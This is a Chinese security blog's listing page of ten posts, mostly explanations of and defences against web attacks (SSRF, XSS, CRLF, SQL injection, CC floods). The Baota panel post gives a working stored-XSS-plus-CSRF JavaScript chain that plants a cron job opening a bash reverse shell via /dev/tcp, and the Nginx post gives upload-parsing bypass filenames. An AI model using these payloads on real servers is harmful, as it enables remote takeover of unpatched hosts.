开发
安全
运维
Geek
佳软
Photos
生活
Search
1
使用AI实现高精度钢琴曲转谱Piano Transcription简明使用教程
37,462 阅读
2
使用ESP8266Wifi模块制作Wifi杀手
37,126 阅读
3
unravel 让图片唱歌详细教程 Real Time Image Animation 项目
27,090 阅读
4
佳能相机刷Magic Lantern魔灯固件
23,045 阅读
5
战地3 正版账号免费分享!
15,885 阅读
开发
安全
运维
Geek
佳软
Photos
生活
登录
Search
标签搜索
python
前端
环境搭建
Ubuntu
markdown
神器
黑苹果
编码
技巧
Git
数据库
开发
insmoin
累计撰写
187
篇文章
累计收到
48
条评论
首页
栏目
开发
安全
运维
Geek
佳软
Photos
生活
页面
搜索到
10
篇与
的结果
2019-11-19
CC攻击原理与kangle预防CC攻击思路
CC攻击的基本原理CC攻击利用代理服务器向网站发送大量需要较长计算时间的URL请求,如数据库查询等,导致服务器进行大量计算而很快达到自身的处理能力而形成DOS。而攻击者一旦发送请求给代理后就主动断开连接,因为代理并不因为客户端这边连接的断开就不去连接目标服务器。因此攻击机的资源消耗相对很小,而从目标服务器看来,来自代理的请求都是合法的。以前防CC攻击的方法为防范CC,以前的方法一个是限制每个IP的连接数,这在地址范围很广阔的情况下比较难实现;二是限制代理的访问,因为一般的代理都会在HTTP头中带 X_FORWARDED_FOR字段,但也有局限,有的代理的请求中是不带该字段的,另外有的客户端确实需要代理才能连接目标服务器,这种限制就会拒绝一些正常用户访问。CC攻击用硬防难防住CC攻击比DDOS攻击更可怕的就是,CC攻击一般是硬防很难防止住的。原因有三:一、因为CC攻击来的IP都是真实的,分散的;二、CC攻击的数据包都是正常的数据包;三、CC攻击的请求,全都是有效的请求,无法拒绝的请求。 Kangle防CC攻击思路防CC有效性在于攻击方不接受服务器回应的数据,发送完请求后就主动断开连接,因此要确认连接是否是CC,服务器端不立即执行URL请求命令,而是简单的返回一个页面转向的回应,回应中包含新的URL请求地址。如果是正常访问,客户端会主动再次连接到转向页面,对用户来说是透明的;而对于CC攻击者,由于不接收回应数据,因此就不会重新连接,服务器也就不需要继续进行操作。具体实现具体实现的关键在于转向的URL如何构造,kangle设计的方法是增加一个“值”,即在原URL请求的最后面添加一个独一无二的值,文本形式,作为URL的一部分;当包含该值的URL重新返回时,先检查该值是否合法。如果合法,则说明该URL是合法的再次连接,将URL中的值部分抹去,恢复为原始的URL请求再发给服务器进行正常访问;否则拒绝该URL请求。“值”可以千变万化的设置,非常灵活。用户可以根据需要进行设定。作转向所采用的方式也非常灵活。同时,转向可设为自动转向或手动转向。总结防火墙防CC的办法就是封ip,有可能封掉正常访问用户的ip。CC是http协议的攻击,不是tcp/ip,kangle是底层的web服务器,更理解http。Kangle防CC 攻击可以做到非常有效防御,而且是零误防,不会影响正常用户的访问。Kangle防CC攻击在web管理界面轻松点击鼠设置规则即可,无需繁索的编写代码。 cloudflare默认自带5条防火墙规则,完全免费. 有了防火墙,可以设置自定义规则,防御CC攻击. 这个方法是cloudflare5秒盾防御CC攻击的补充防火墙规则一规则名: rule1 规则匹配: 标签1: threat score >5 标签2: known bots -> off 行动: Challenge (Captcha) 跳出验证码 防火墙规则二规则名: rule2规则匹配: 标签1: known bots -> off 标签2: ip address != 8.8.8.8 行动: Challenge (Captcha) 跳出验证码 日志收集处理 利用上面任意规则后,可以收集到CC攻击的代理IP 收集次数高于n次的IP可以直接添加到防火墙,拉入黑名单
2019年11月19日
1,577 阅读
0 评论
0 点赞
2018-11-18
宝塔面板6.x版本xss+后台csrf Getshell
什么是宝塔面板?宝塔面板是一款使用方便、功能强大且终身免费的服务器管理软件,支持Linux与Windows系统。一键配置:LAMP/LNMP、网站、数据库、FTP、SSL,通过Web端轻松管理服务器。推出至今备受中小站点站长喜爱,下载量过百万。漏洞代码分析在6.x linux版本宝塔面板当中当中,相对与5.x版本,记录了验证码错误并存入数据库当中,存储xss缺陷就是在此处产生。我们直接看漏洞代码。直接分析post请求部分。代码如下:我们可以看到这里首先判断了是否有 用户名密码,然后是验证码。判断这个IP是否是有登陆失败的记录。如果大于1 记录一下,随后将错误次数大于1的用户名的和密码都进行了记录。 从数据库中读取管理员账号密码。进行对比。如果没有成功就返回一个错误关键的代码如下:此处记录了一下post 的请求。然后将code传入到了写日志的一个函数里面。追踪一下这个函数。 在public.py 里面,找到如下函数这里就是一个写日志的功能。定义了一个teyp 然后是args 。这里把code 传递过来。就直接写入了日志。没有做任何过滤处理。然后就导致了xss漏洞产生。 可以在宝塔数据库当中,看到logs数据库里存储的信息漏洞复现我们直接在面板登录处,随便输入一个账号密码,触发失败,要求输入验证码。由于没有任何过滤处理,我们直接输入弹窗的payload:undefinedundefinedundefinedundefinedundefined<script>alert(‘www.dafsec.org’)</script> 登录后台后,打开安全模块,成功触发弹窗。由于服务器管理面板的特殊性,后台可以进行敏感操作。手写js远程调用,利用csrf漏洞在计划任务处配合存储xss,可成功反弹shell,弹shell成功截图如下:远程调用的js代码如下:function addTask(TaskName, execTime, ip, port) { var execShell = 'bash -i >& /dev/tcp/your_ip/your_port 0>&1'; execShell = encodeURIComponent(execShell); var params = 'name=' + TaskName + '&type=minute-n&where1=' + execTime + '&hour=&minute=&week=&sType=toShell&sBody=' + execShell + '&sName=&backupTo=localhost&save=&urladdress=undefined' var xhr = new XMLHttpRequest(); xhr.open('POST', '/crontab?action=AddCrontab', false); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send(params); } function execTask(TaskName) { var xhr = new XMLHttpRequest(); xhr.open('POST', '/crontab?action=GetCrontab', true); xhr.send(); xhr.onload = function () { if (this.readyState == 4 && this.status == 200) { var res = JSON.parse(this.responseText); if (res[0].name == TaskName) { var TaskID = res[0].id.toString(); var xhr = new XMLHttpRequest(); xhr.open('POST', '/crontab?action=StartTask', false); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); var params = 'id=' + TaskID; xhr.send(params); delTask(res[0].id); console.log(res[0].id); return res[0].id; } } } } function delTask(TaskID) { var params = 'id=' + TaskID.toString(); var xhr = new XMLHttpRequest(); xhr.open('POST', '/crontab?action=DelCrontab', false); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send(params); } var TaskName = Math.random().toString(36).substring(7); addTask(TaskName, '5', '1.1.1.1', '53'); execTask(TaskName); 后序宝塔官方已修复该漏洞,但仍有大量存在漏洞主机暴露于公网,请及时更新至最新版本。 官方已修复该漏洞,漏洞环境可以将附件当中的test.py同名覆盖掉宝塔最新版的/www/server/panel/class/userlogin.py
2018年11月18日
2,360 阅读
0 评论
0 点赞
2018-09-11
SSRF漏洞
SSRF漏洞是如何产生的?SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。可能上面的语言对于一些小白白来说难以理解,下面是一些我的理解:html,php,asp,jsp 具有这些文件后缀的文件通常储存在web服务器(网站服务器)中,而且web服务器都具有独立ip网站访问大致步骤:用户在地址栏输入网址 --》 向目标网站发送请求 --》 目标网站接受请求并在服务器端验证请求是否合法,然后返回用户所需要的页面 --》用户接收页面并在浏览器中显示此处的请求默认为www.xxx.com/a.php?image=(地址)那么产生SSRF漏洞的环节在哪里呢?目标网站接受请求后在服务器端验证请求是否合法产生的原因:服务器端的验证并没有对其请求获取图片的参数(image=)做出严格的过滤以及限制,导致可以从其他服务器的获取一定量的数据例如:www.xxx.com/a.php?image=http://www.abc.com/1.jpg 如果我们将http://www.abc.com/1.jpg换为与该服务器相连的内网服务器地址会产生什么效果呢?如果存在该内网地址就会返回1xx 2xx 之类的状态码,不存在就会其他的状态码终极简析: SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有发现在这个请求是合法的,然后服务器以他的身份来访问其他服务器的资源。SSRF漏洞的寻找(漏洞常见出没位置):1)分享:通过URL地址分享网页内容2)转码服务3)在线翻译4)图片加载与下载:通过URL地址加载或下载图片5)图片、文章收藏功能6)未公开的api实现以及其他调用URL的功能7)从URL关键字中寻找share wap url link src source target u 3g display sourceURl imageURL domain SSRF漏洞的验证方法:1)因为SSRF漏洞是构造服务器发送请求的安全漏洞,所以我们就可以通过抓包分析发送的请求是否是由服务器的发送的来判断是否存在SSRF漏洞2)在页面源码中查找访问的资源地址 ,如果该资源地址类型为http://www.xxx.com/a.php?image=(地址)的就可能存在SSRF漏洞
2018年09月11日
999 阅读
0 评论
0 点赞
2018-06-18
了解 ShellShock(破壳漏洞)
在学习linux shell编程的时候, 看到资料上说bash版本过旧的话就可能受到破壳漏洞的攻击.下面就来了解一下什么是破壳漏洞什么是ShellShockShellShock是一个BashShell漏洞(据说不仅仅是Bash,其他shell也可能有这个漏洞).一般情况来说,系统里面的Shell是有严格的权限控制的,如果没有相应的权限,是根本看不到某些命令的存在,更不要说执行这些命令。但是,Bash在运行的过程中会调用操作系统的环境变量,并且会执行一些设置命令。通过ShellShock漏洞,入侵者可以把某些”本来没有权限执行的语句或者命令“,注入到环境变量里。当bash设置环境变量的时候,就会执行这些”被注入“命令。这样子便绕过用户权限的限制,把一些”没有权限执行的命令“,变成”具有执行权限的命令“了。从而可以在系统内任意执行Bash命令语句,胡作非为(相当于获得root超级用户权限)。漏洞成因bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。核心的原因在于在输入的过滤中没有严格限制边界,没有做合法化的参数判断。漏洞范围:Bash 版本小于等于4.3防御办法Bash 升级到最新的版本
2018年06月18日
559 阅读
0 评论
0 点赞
2018-05-02
跨站脚本攻击XSS的防范
漏洞概述XSS 是指攻击者在网页中嵌入客户端脚本,通常是 JavaScript 编写的恶意代码,当用户使 用浏览器浏览被嵌入恶意代码的网页时,恶意代码会在用户浏览器上执行。XSS 属于 Web 前端攻击,包括但不限于普通用户,网站管理员如果被攻击,攻击装可 以劫持管理员的身份度网站服务器端进行文件管理,数据管理等操作。漏洞原理XSS 攻击是在网页中嵌入客户端恶意脚本代码,这些恶意代码一般使用 JavaScript 编写 JS(JavaScript 简称)可以用 XSS 盗取用户 Cookie、改变网页内容、URL 跳转到恶意网站、监 控键盘记录、甚至 GetShell 等。漏洞利用xss 分为3种 反射性 ,存储型 ,DOM型反射性xss也称非持久性xss,是最容易出现的一种xss例子:攻击者使用 XSS 反射型漏洞盗取管理员 cookie 步骤。1:用户小 a 正在上 www.abc.com 论坛看帖子。2:攻击者发现 www.abc.com/xss.php 存在反射型漏洞,然后精心构造 JS 代码,此代码可以 盗取用户 cookie 发送到指定站点 www.hacker.com3:攻击者将带有反射型 XSS 漏洞的 URL 通过站内短信发给用户小 a,标题为引起小 a 好奇 心的内容,目的是为了让用户小 a 单击链接。4:假设用户小 a 单击了带有 xss 漏洞的 url,会把自己的 cookie 发送到网站 www.hacker.com5:攻击者接受到用户小 a 的 会话 cookie,利用 cookie 以小 a 的身份登录 www.abc.com 从 而劫持小 a 的登录网站凭据进行其它攻击。存储型 XSS 存储型 XSS 又被称为持久性 XSS,是最危险的一种跨站脚本。 允许用户存储数据的 Web 应用都可能出现存储型 XSS 漏洞,当攻击者提交一段 XSS 代码后,被服务端接受并存储,当攻击者再次访问某个页面时,这段 XSS 代码被程序输出到浏 览器造成 XSS 跨站代码攻击,这就是存储型 XSS。 存储型 XSS 与反射型 XSS、DOM 型 XSS 相比,具有更高隐蔽性,危害性也更大,它们最 大区别在于反射型 XSS 与 DOM 型 XSS 执行都必须依靠用户手动去触发,而存储型 XSS 不需 要。另外反射型 XSS 由于默认 IE 8 及以上浏览器,其它现代浏览器例如 chrome,firefox 等 默认已经开启拦截反射型 xss 漏洞,并且随着浏览器补丁不断升级,也修复了绝大多数绕过 代码。以下是 IE 浏览器防护反射型 XSS 漏洞选项: 以下是一个常见存储型 XSS 场景示例: 在测试是否存在 XSS 时,首选要确定输入点与输出点,例如,我们要在留言内容上测试 XSS 漏洞,首先要寻找留言内容输出(显示)的地方在标签内还是在标签属性内,或者其它 地方,如果输出的数据在属性内,那么 XSS 代码是不会被执行的。如:alert(1)” /> 以上 JS 代码虽然成功插入到了 HTML 中,但却无法执行,因为 XSS 代码出现在 Value 属 性中,被当做值来处理,最终浏览器解析 HTML 时,会把数据以文本的形式输出在网页中。 知道了输出点后,可以根据相应标签构造 HTML 代码来闭合,插入 XSS 代码为 “/>alert(1)”,最终在 HTML 文档中为:alert(1)” /> 这样就可以闭合 input 标签,使输出的内容不在 Value 属性中,从而造成 XSS 漏洞。 知道了最基本的测试原理后,下面看看具体的存储型漏洞 1:添加正常留言,昵称为 xxser,留言内容为“HelloWord”,查看前端源代码xxserHello World2016-10-11 11:27:38 2:如果现实区域不在 HTML 属性内,则可以直接用 XSS 代码注入。如果不能确定输出具体 位置,可以用模糊测试方案,代码如下:alert(/stored xss/)普通注入 "/>alert(/stored xss/)闭合标签注入 '">alert(/stored xss/)闭合标签注入 盗取 cookie 的 js 代码后,重新加载留言页面,XSS 代码被浏览器执行。 攻击者将带有 XSS 代码的留言提交到数据库,当用户查看这段留言时,浏览器会把代码认为 正常的 JavaScript 代码来执行。所以,存储型 XSS 具有更高的隐蔽性检测 XSS手工检测:① 可得知输出位置 输入一些敏感字符,例如“<、>、”、’、()”等,在提交后查看 HTML 源代码,看这些 输入的字符是否被转义。在输出这些敏感字符时,很有可能程序已经做了过滤,这样在寻找这些字符时就不 太容易,这时可以输入“AAA<>”’&”字符串,然后在查找源代码时直接查找 AAA 比较 方便。② 无法得知输出位置 很多 Web 程序源码是不公开的,这时在测试 XSS 时就可能无法得知输入数据到底在什 么地方显示,比如测试留言吧是否存在 XSS,在留言后,可能需要经过管理员审核才能显 示,这种情况无法知道数据在后台管理页面处于何种状态,例如: 在标签中:XSS Test在标签中:对这种情况通常会输入“”/> xss test”来测试。2:工具检测使用 Appscan,Burp Suite 或浏览器 Web 渗透插件 hackbar 等均可。工具的局限性在于如果提交测试代码输入框需要输入验证码或者短信,工具是无法识别 各类验证码而顺利提交攻击代码的。修复漏洞cookie 设置HTTPonlysetcookie($name, $value, $expire, $path, $domain, $secure, TRUE) //>=5.2 header ("Set-Cookie: hidden=value; httponly", false); / ≤ PHP 5.1 /第二种,一个函数搞定htmlspecialchars($html);
2018年05月02日
1,267 阅读
0 评论
0 点赞
2018-04-16
Nginx 解析漏洞
Nginx 解析漏洞 Nginx 0.5.、Nginx 0.6.、Nginx 0.7 <= 0.7.65、Nginx 0.8 <= 0.8.37:以上 Nginx 容器的版本下,上传一个在 WAF 白名单之内扩展名的文件 shell.jpg,然后以 shell.jpg.php 进行请求。 Nginx 0.8.41~1.5.6:以上 Nginx 容器的版本下,上传一个在 WAF 白名单之内扩展名的文件 shell.jpg,然后以 shell.jpg%20.php 进行请求。
2018年04月16日
1,678 阅读
0 评论
0 点赞
2018-04-03
了解Web框架安全
暂无简介
2018年04月03日
3,786 阅读
0 评论
0 点赞
2018-02-24
富文本编辑器 xss 攻击的防御
普通xss 攻击,通过html 转义就可以很好地解决但是富文本编辑器,本身就是允许输入html 标签的,不能转义需要引入第三方防止xss的包来处理,对文章内html 进行处理安装NPM$ npm install xss Bower$ bower install xss 或者$ bower install https://github.com/leizongmin/js-xss.git 使用方法在Node.js中使用var xss = require('xss'); var html = xss('<script>alert("xss");</script>'); console.log(html); 在浏览器端使用Shim模式(参考文件 test/test.html):<script src="https://raw.github.com/leizongmin/js-xss/master/dist/xss.js"></script> <script> // 使用函数名 filterXSS,用法一样 var html = filterXSS('<script>alert("xss");</scr' + 'ipt>'); alert(html); </script> AMD模式(参考文件 test/test_amd.html):<script> require.config({ baseUrl: './' }) require(['xss'], function (xss) { var html = xss('<script>alert("xss");</scr' + 'ipt>'); alert(html); }); </script>
2018年02月24日
8,485 阅读
0 评论
0 点赞
2018-02-23
了解CRLF注入漏洞
CRLF是“回车+换行”(\r\n)的简称,其十六进制编码分别为0x0d和0x0a。在HTTP协议中,HTTP header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码。CRLF漏洞常出现在Location与Set-cookie消息头中。1.通过CRLF注入构造会话固定漏洞请求参数:`http://www.sina.com%0aSet-cookie:sessionid%3Dwoyun服务器返回:HTTP/1.1 200 OK Location:http://www.sina.com Set-cookie:sessionid=woyun 2.通过CRLF注入消息头引发XSS漏洞在请求参数中插入CRLF字符:?email=a%0d%0a%0d%0a<script>alert(/xss/);</script>服务器返回:HTTP/1.1 200 OK Set-Cookie:de=a <script>alert(/xss/);</script> 原理:服务器端没有过滤\r\n,而又把用户输入的数据放在HTTP头中,从而导致安全隐患。3.浏览器的Filter是浏览器应对一些反射型XSS做的保护策略,当url中包含XSS相关特征的时候就会过滤掉不显示在页面中。通过在数据包中http头中注入X-XSS-Protection: 0,关闭IE8的XSS Filter功能。?url=%0aX-XSS-Protection:%200%0d%0a%0d%0a<img%20src=1%20onerror=alert(/xss/)> 对抗CRLF只需过滤掉"\r","\n"之类的换行符即可
2018年02月23日
2,716 阅读
0 评论
0 点赞
2018-01-08
简单总结SQL注入的防范
SQL注入攻击至今仍然是Web安全领域中的一个重要组成部分SQL 注入的原理SQL 注入:就是通过把 SQL 命令插入到 Web 表单提交或输入域名或页面请求的查询字符串里,最终达到欺骗服务器执行恶意的 SQL 命令。具体来说,它是利用现有应用程序,将(恶意)的 SQL 命令注入到后台数据库引擎执行的能力,它可以通过在 Web 表单输入(恶意)SQL 语句得到一个存在安全漏洞的网站的数据库信息,而不按照设计者的意图执行 SQL 语句。什么时候可能发生 SQL 注入:假设我们在浏览器中输入 URL: www.insmoin.com,由于它只是对页面的简单请求无需对数据库进行动态请求,所以它不存在 SQL 注入,当我们输入 www.insmoin.com?testid=23 时,我们在 URL 中传递了变量 testid,并且提供值为23,由于它是对数据库进行动态查询的请求(其中 ?testid=23 表示数据库查询变量),所以我们可以在该 URL 中嵌入了恶意 SQL 语句。具体的例子和详细的原理就不在这里赘述了,有兴趣的同学可以去谷歌或者百度搜索,上面会有大量的例子和攻击方式。SQL注入常用保护方式最主要的保护方式有以下几点: 使用 Prepared Statements(参数查询)来代替 Statements — 这要求所有数据库开发人员在开发 SQL 查询语句时将代码和数据分开,先定义查询语句的结构,将数据通过参数的方式出入,这样输入的参数将不会当作 SQL 命令来执行,基本上能避免 SQL 注入的攻击。 使用存储过程来操作数据库 — 所有的存储过程都存放在数据库里面,应用程序调用存储过程来查询数据。 转义用户输入的所有特殊字符 – 永远不要信任用户的输入,要对用户的输入进行校验,可以通过正则表达式,或限制长度,对单引号和双"-"进行转换等。这些在一定程度可以缓解SQL注入。 还有些辅助的方法: 以最低权限的数据库连接,为每个应用使用单独的权限与有限的数据库连接。 不要把机密信息明文存放,加密或者 hash 掉密码和敏感的信息。 应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装,把异常信息存放在独立的表中。
2018年01月08日
1,378 阅读
0 评论
0 点赞